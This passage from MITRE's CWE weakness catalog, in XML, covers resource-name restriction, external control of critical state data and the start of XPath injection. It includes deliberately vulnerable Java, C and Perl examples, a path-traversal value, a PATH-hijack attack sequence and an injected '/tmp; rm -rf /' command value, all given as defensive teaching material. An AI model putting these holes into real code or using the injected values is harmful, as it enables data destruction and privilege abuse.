               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Weak Password Recovery Mechanism</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="641" Name="Improper Restriction of Names for Files and Other Resources" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.</Description>
         <Extended_Description>This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="99" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Execution of arbitrary code in the context of usage of the resources with dangerous names.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Crash of the consumer code of these resources resulting in information leakage or denial of service.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not allow users to control names of resources used on the server side.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-06-21">Insufficient Filtering of File and Other Resource Names for Executable Content</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="642" Name="External Control of Critical State Data" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors.</Description>
         <Extended_Description>
            <xhtml:p>If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.</xhtml:p>
            <xhtml:p>State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The state variables may contain sensitive information that should not be known by the client.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-14">
               <Phase>Architecture and Design</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>
                  <xhtml:p>Store state information and sensitive data on the server side only.</xhtml:p>
                  <xhtml:p>Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.</xhtml:p>
                  <xhtml:p>If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>With a stateless protocol such as HTTP, use some frameworks can maintain the state for you.</xhtml:p>
                  <xhtml:p>Examples include ASP.NET View State and the OWASP ESAPI Session Management feature.</xhtml:p>
                  <xhtml:p>Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-16">
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cookie[] cookies = request.getCookies();<xhtml:br/>for (int i =0; i&lt; cookies.length; i++) {<xhtml:div style="margin-left:1em;">Cookie c = cookies[i];<xhtml:br/>if (c.getName().equals("authenticated") &amp;&amp; Boolean.TRUE.equals(c.getValue())) {<xhtml:div style="margin-left:1em;">authenticated = true;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-65">
               <Intro_Text>The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String rName = request.getParameter("reportName");<xhtml:br/>File rFile = new File("/usr/local/apfr/reports/" + rName);<xhtml:br/>...<xhtml:br/>rFile.delete();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-66">
               <Intro_Text>The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>fis = new FileInputStream(cfg.getProperty("sub")+".txt");<xhtml:br/>amt = fis.read(arr);<xhtml:br/>out.println(arr);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-67">
               <Intro_Text>This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define DIR "/restricted/directory"<xhtml:br/>
                     <xhtml:br/>char cmd[500];<xhtml:br/>sprintf(cmd, "ls -l %480s", DIR);<xhtml:br/>
                     <xhtml:i>/* Raise privileges to those needed for accessing DIR. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>RaisePrivileges(...);<xhtml:br/>system(cmd);<xhtml:br/>DropPrivileges(...);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.</Body_Text>
               <Body_Text>However, because the program does not modify the PATH environment variable, the following attack would work:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:ul>
                     <xhtml:li>The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".</xhtml:li>
                     <xhtml:li>The attacker creates a malicious program called "ls", and puts that program in /my/dir</xhtml:li>
                     <xhtml:li>The user executes the program.</xhtml:li>
                     <xhtml:li>When system() is executed, the shell consults the PATH to find the ls program</xhtml:li>
                     <xhtml:li>The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".</xhtml:li>
                     <xhtml:li>The program executes the attacker's malicious program with the raised privileges.</xhtml:li>
                  </xhtml:ul>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$ENV{"HOMEDIR"} = "/home/mydir/public/";<xhtml:br/>my $stream = AcceptUntrustedInputStream();<xhtml:br/>while (&lt;$stream&gt;) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>chomp;<xhtml:br/>if (/^ENV ([\w\_]+) (.*)/) {<xhtml:div style="margin-left:1em;">$ENV{$1} = $2;</xhtml:div>}<xhtml:br/>elsif (/^QUIT/) { ... }<xhtml:br/>elsif (/^LIST/) {<xhtml:div style="margin-left:1em;">open($fh, "/bin/ls -l $ENV{HOMEDIR}|");<xhtml:br/>while (&lt;$fh&gt;) {<xhtml:div style="margin-left:1em;">SendOutput($stream, "FILEINFO: $_");</xhtml:div>}<xhtml:br/>close($fh);</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be an allowlist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.</Body_Text>
               <Body_Text>While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-2428</Reference>
               <Description>Mail client stores password hashes for unrelated accounts in a hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2428</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0306</Reference>
               <Description>Privileged program trusts user-specified environment variable to modify critical configuration settings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0306</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0073</Reference>
               <Description>Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0073</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4432</Reference>
               <Description>Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4432</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-7191</Reference>
               <Description>Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-7191</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5738</Reference>
               <Description>Calendar application allows bypass of authentication by setting a certain cookie value to 1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5738</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5642</Reference>
               <Description>Setting of a language preference in a cookie enables path traversal attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5642</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5125</Reference>
               <Description>Application allows admin privileges by setting a cookie value to "admin."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5125</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5065</Reference>
               <Description>Application allows admin privileges by setting a cookie value to "admin."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5065</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4752</Reference>
               <Description>Application allows admin privileges by setting a cookie value to "admin."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4752</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0102</Reference>
               <Description>Shopping cart allows price modification via hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0102</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0253</Reference>
               <Description>Shopping cart allows price modification via hidden form field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0253</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1319</Reference>
               <Description>Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1319</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="21"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-528"/>
            <Reference External_Reference_ID="REF-529"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form&#xA;                  Fields.&#34; Page 75"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Relevant_Properties, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Insufficient Management of User State</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">External Control of User State Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="643" Name="Improper Neutralization of Data within XPath Expressions ('XPath Injection')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.</Description>
         <Extended_Description>The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).</Extended_Description>
         <Related_Weaknesses>
